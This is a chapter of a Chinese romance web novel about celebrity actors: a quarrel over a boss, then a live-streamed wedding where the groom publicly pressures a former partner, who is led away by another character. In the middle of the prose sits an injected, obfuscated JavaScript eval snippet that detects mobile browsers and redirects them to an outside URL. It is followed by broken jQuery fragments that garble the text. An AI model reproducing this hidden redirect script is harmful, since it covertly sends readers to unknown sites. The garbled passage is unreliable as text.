26.第 26 章

作品:《顶流cp忽然要解绑

    商璘垂眸看着他,“我打伏越泽的时候你眼瞎了?”


    “我不管。”许兰因无理取闹,抽噎着说:“你要无条件站在我这边。”


    商璘沉默了一会儿,半跪下身,“为什么忽然冲过来打伏越泽?他是你老板,知道他想要搞你的话你会有多麻烦吗?”


    “他当时不是在欺负你吗?”许兰因道:“他看你的样子就像是狗看着肉。”


    顿了顿又说:“我不怕他。”


    商璘看他这孩子气的样子,最终叹了口气,“以后真的不要这样了。你不知道伏越泽他……”


    其实并没有表面上看着那么温和好说话。


    他并不是千娇百宠养大的温室花朵,所以很多手段都可以称得上低劣。许兰因现在确实是顶流,但终究斗不过资本,商璘不想他们真的撕破脸。


    “你很了解伏越泽吗。”许兰因问。


    商璘没回答。


    和伏越泽同学四年,认识了十几年,应该算是了解的,但是说了许兰因又要闹,于是他决定闭嘴。


    许兰因不哭了,脸色却更难看。商璘扶他起来,他也不肯,自己一瘸一拐坐到了沙发上。


    商璘没当回事——许兰因不作才不正常。


    之后几天,商璘都很担心伏越泽会伺机报复,但伏越泽那边一点动静没有。商璘还跟苏纭旁敲侧击了一下,结果苏纭说伏越泽一切正常,唯一奇怪的地方大概就是他不知道被谁揍了一顿,脸上青青紫紫好几天才消下去。


    商璘觉得有些奇怪。


    伏越泽不是这样宽宏大量的人。


    不过很快,他就知道原因了。


    伏越泽不是不找许兰因的麻烦,而是根本没空找许兰因的麻烦。


    家里老人病情加重进了ICU,恐怕时日无多,伏越泽又不知道为什么跟老伏总吵了一架,父子两闹得很僵,也有不少小道消息,说老伏总要把禾光交给大儿子伏轲,杀杀伏越泽的锐气。


    虽然不知道这个小道消息是真是假,但商璘觉得,如果禾光真的交到伏轲手里,那就距离倒闭不远了。


    商璘跟这位伏家的大少爷见过几次面,仅限于打个招呼的认识。听说他是老伏总年轻时候搞出来的私生子,伏越泽两三岁的时候才被亲妈领着找上门,虽然不成器,但十分得宠,要不是因为伏轲实在没有管理公司的本事,禾光应该也不会交给伏越泽。


    禾光可以说是伏越泽一手拉扯起来的,现在步上正轨,蒸蒸日上,老伏总就想要从伏越泽手里抢走塞给伏轲,这当爹的还真是偏心到了姥姥家。


    “小璘哥。”许兰因撑着拐杖进来——他已经可以借助拐杖行动,成天咚咚咚地在家里走来走去,商璘梦里都是这声儿。


    商璘转过头,见他已经换好了正装。


    许兰因平常总爱穿些休闲风的宽松衣服,一看就是还没毕业的大学生。这会儿一身剪裁合身的黑色西装,宽肩窄腰长腿,像是要去T台走秀。


    他靠在门边,姿态懒散,光从窗外打进来,高挺的鼻梁像是一道分界线,半张脸明半张脸暗,也只有这种时候才能看出,因为眉骨高而眼窝深,他的眉眼其实生的相当凌厉,不笑的时候冷冰冰的,令人背后发寒。


    商璘从他手中接过领带,许兰因温顺地低下头,方便商璘给他打领带,嘟嘟囔囔地说:“我要走了哦?你自己好好待在家里不要去见奇怪的人。”


    “奇怪的人”是指谁不言而喻。


    商璘给他整理了一下衣领,“赶紧走。”


    许兰因:“亲一下再走。”


    “……你是小学生吗?”


    许兰因杵在原地不动。他自己不走,也不让商璘出去。商璘没辙,只好亲了下他的脸颊,推着他往外走,“待会儿迟到了。”


    “又不是我结婚,那么着急干嘛。”


    商璘把他推出门,“少喝点酒,早点回来。”


    说完就砰一声关上了门。


    许兰因看着面前的门板,挑了下眉。


    觉得好像早上起来妻子送丈夫出门上班哦。


    于是他翘着唇角慢悠悠下楼,罗旭已经开着车在等了,见他一路春风得意,不由调侃:“你跟曾翰什么时候关系这么好了,他结婚你乐成这样。”


    许兰因:“谁为那傻逼高兴。”


    “你果然没说错,前几天伏靖派了人到处打听若姐的下落。好在我早就送她出国了,要是被伏靖的人找到,若姐八成要脱层皮。”


    许兰因唇边的笑意消失,轻嗤一声。


    “伏靖在给儿子收拾烂摊子呢。”罗旭说:“卖了好几套房。都动房产了,可见伏家确实已经外强中干。”


    许兰因:“所以盯上了禾光?”


    “早年伏轲把禾光丢给伏越泽的时候,根本就想过他能搞出什么名堂。”罗旭讥诮道:“谁知道伏越泽有点本事,真搞得像模像样,现在为了给大儿子填窟窿,又想从伏越泽手里把这块肥肉抢走。”


    “本来伏靖想要拿走禾光没那么容易,禾光的最大股东不是他。”罗旭耸耸肩,“伏靖想靠伏越泽去老太太那里刷好感,结果他和周鹤的事儿漏了风声,老太太现在见都不肯见他。伏靖如意算盘落空,但也不是没收获。”


    “原本有老太太在,禾光当然是稳稳握在伏越泽手里的。但现在伏越泽在老太太那儿失了宠,想要趁机夺走禾光就容易多了。想必伏越泽正在为这件事焦头烂额。”


    许兰因懒洋洋说:“小伏总能干,未必不能力挽狂澜。”


    罗旭瞥他一眼,“要是没你,他当然能力挽狂澜。”


    许兰因没回这话,漫无目的地想着今晚回去商璘会给他做什么好吃的。应酬的时候他吃不好,回家后商璘就会给他开小灶。要不要提前许愿呢?商璘应该不吝于满足他这小小的愿望。


    “兰因。”罗旭忽然说:“你有什么打算吗?对未来的。”


    许兰因随口回答:“在准备拍新戏啊。”


    苏纭之前给他的剧本,他又翻出来认认真真看了一遍,虽然有些剧情他不太能接受,但苏纭说如果这部剧反响好,公司可能会改变主意。


    罗旭表情复杂:“……你还要拍戏?你不是讨厌当演员吗,更别说还是……”


    许兰因一愣。


    曾翰这婚期选的不好,天阴沉沉的,眼看着要下雨,车子驶过跨江大桥时,果然有雨水跌落,江面上一片薄雾,一切都模糊不清,唯有各色灯光穿透雾霭,明亮得几乎刺眼。


    “哦。”许兰因说:“我忘了。”


    他看着窗外的雨,脸上又是那种漫不经心的笑意,“这些话是用来骗人的,说多了,自己都觉得成了真。”


    ……


    曾翰是圈内一线,婚礼上自然众星云集。


    他的妻子是他的生活助理,两人认识多年,算是终于修成正果,来宾纷纷送上祝福,娱记的镁光灯更是不停闪烁。


    也不知道是想要留作纪念还是想要彻底跟那些流言摆脱关系,这场婚礼是全程直播的,许兰因一进去就被一堆摄像头怼脸,脸色不太好,新郎忙来招呼他,许兰因也没想砸人家场子,敷衍地说了几句祝贺的话,就找了个角落里的位置窝着。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397636|198985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他拍了几张照片发给商璘,百无聊赖地跟他有一搭没一搭地聊天——之所以有一搭没一搭,是因为商璘很久才回一条,让许兰因有点郁闷。


    商璘明明以前都秒回他的。难道在跟那个相亲对象聊天吗?


    刚想到这里,忽然一阵掌声和尖叫响起,许兰因抬起头,就见新娘出来了。


    他对曾翰这个助理没什么印象,只记得她挺任劳任怨的,照顾曾翰简直就像是照顾自己的亲儿子。


    司仪讲了一堆吉祥话,而后就是新郎新娘交换戒指的环节。曾翰忽然道:“我想邀请我生命中最重要的人来读证婚词可以吗?”


    “当然可以。”司仪道:“这么重要的时刻当然要由最重要的人来见证。”


    大家都以为曾翰说的人会是自己的父母亦或者兄弟姐妹,谁知道他转过头看向人群,笑着说:“佳阳,我想请你来念我的证婚词,你愿意吗?”


    瞬间,几乎所有人的视线、所有的摄像头,都对上了人群之中戴着口罩的尹佳阳。


    直播间里尹佳阳的眼神怔愣,转头避开摄像头,神色有些难堪。


    不管是宾客还是直播间里的粉丝,都没想到尹佳阳竟然真的会来参加曾翰的婚礼。


    形形色色的人,形形色色的目光,尹佳阳攥紧了手指,几乎将自己的嘴唇咬出血。


    许兰因啧了声。


    曾翰这人……做事还真是绝情得很。明知道尹佳阳喜欢他,他还要尹佳阳当他的证婚人,以此告知大众他和尹佳阳确实只是“合作伙伴”。


    “我……”尹佳阳喉头苦涩,良久才开口:“我可能做不好。”


    曾翰说:“我们可是最好的朋友,我结婚你不当证婚人谁来当?”他对尹佳阳伸出手,“上来吧。”


    尹佳阳想要转身就走。


    可那么多的视线,那么多镜头,他要是走了,肯定会搞砸曾翰的婚礼。


    他只是来看看,没想破坏曾翰的人生大事。


    曾翰知道尹佳阳一定会妥协,他就是那种瞻前顾后为人着想的性格,因此半点不担心尹佳阳会翻脸,甚至笑着又说了句:“不会还要我抱你上来吧?”


    “……”尹佳阳垂下眼睫,站起身,慢慢走向舞台。


    他做了那么久的演员,还是不习惯他人的注视,明明那么短的一截路,他却觉得无比漫长,无数窃窃私语涌入耳中,令他脚步越发沉重。


    尹佳阳想,明明之前说连朋友都不要做了,怎么现在,我又是你生命中最重要的人,最好的朋友了呢。


    如果你想要从舆论中脱身,我可以退圈的。


    原来昨天打了几百个电话让我今天来参见你的婚礼,是为了这个啊。


    你为什么非要这样呢。


    尹佳阳喃喃说:“你为什么非要,搞得这么难看呢。”


    但曾翰真的太了解他了。


    他确实没办法转头离开,他只能一步步硬着头皮向前走。


    就在尹佳阳踏上台阶的前一秒,忽然有人一把抓住了他的手。尹佳阳错愕抬头,看见冷着脸的商璘。


    他应该是一路跑来的,额头上还有细汗,本来就是不好接近的长相,这会儿看着完全就是来砸场子的。


    “阿璘……”


    商璘没说话,拉着他的手往外走,曾翰一愣,喊了声:“佳阳!”


    人群躁动,交头接耳,不知道这又是唱的哪一出。


    商璘感觉到尹佳阳的手指在发抖,他更紧的抓紧尹佳阳,转头看向曾翰,冷冷说:“傻逼。”


    声音不大不小,刚好够曾翰听到。